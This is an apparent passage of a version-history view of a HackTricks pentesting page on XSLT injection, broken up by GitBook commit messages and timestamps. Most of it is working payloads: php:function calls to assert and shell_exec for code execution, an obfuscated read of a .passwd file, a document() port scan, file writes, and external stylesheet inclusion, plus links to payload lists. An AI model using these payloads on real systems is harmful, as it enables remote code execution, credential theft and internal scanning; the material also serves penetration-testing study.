 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
 								        <br />
 								    </body>
 								</html>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### Port scan
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											2020-07-15 15:43:14 +00:00
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="document('http://example.com:22')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## Write to a file
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### XSLT 2.0
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											2020-07-15 15:43:14 +00:00
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
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+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:result-document href="local_file.txt">
 								<xsl:text>Write Local File</xsl:text>
 								</xsl:result-document>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								### **Xalan-J extension**
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+								```xml
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+								<xsl:template match="/">
 								<redirect:open file="local_file.txt"/>
 								<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
 								<redirect:close file="loxal_file.txt"/>
 								</xsl:template>
 								```
 								Other ways to write files in the PDF
-												GitBook: [#3540] No subject

											
										
										
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+								## Include external XSL
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+								```xml
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+								<xsl:include href="http://extenal.web/external.xsl"/>
 								```
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+								```xml
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+								<?xml version="1.0" ?>
 								<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								## Execute code
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+								### **php:function**
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+								```xml
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+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0"
 								xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 								xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('shell_exec','sleep 10')" />
 								</xsl:template>
 								</xsl:stylesheet>
 								```
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+								```xml
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+								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
 								<br />
 								</body>
 								</html>
 								```
 								Execute code using other frameworks in the PDF
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+								### **More Languages**
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+								**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
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+								## **Access PHP static functions from classes**
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 								The following function will call the static method `stringToUrl` of the class XSL:
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+								```xml
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+								<!--- More complex test to call php class function-->
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
 								version="1.0">
 								<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
 								<xsl:template match="root">
 								<html>
 								<!-- We use the php suffix to call the static class function stringToUrl() -->
 								<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
 								<!-- Output: 'une_superstring ao modifier' -->
 								</html>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
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+								(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
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+								## More Payloads
 								* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
 								* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
-												GitBook: [#3540] No subject

											
										
										
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+								## **Brute-Force Detection List**
-												GitBook: [master] 10 pages modified
											
										
										
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-												GitBook: [#2777] gitbookissooooo slow I cannot write

											
										
										
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+								{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
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-												GitBook: [#3540] No subject

											
										
										
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+								## **References**
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-												GitBook: [#3540] No subject

											
										
										
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+								* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
 								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
-												GitBook: [#2777] gitbookissooooo slow I cannot write

											
										
										
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+								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
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 								<details>
-												update twitter

											
										
										
											2023-04-25 18:35:28 +00:00
+								<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
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											2023-04-25 18:35:28 +00:00
+								* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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											2022-12-05 22:29:21 +00:00
+								* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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 								</details>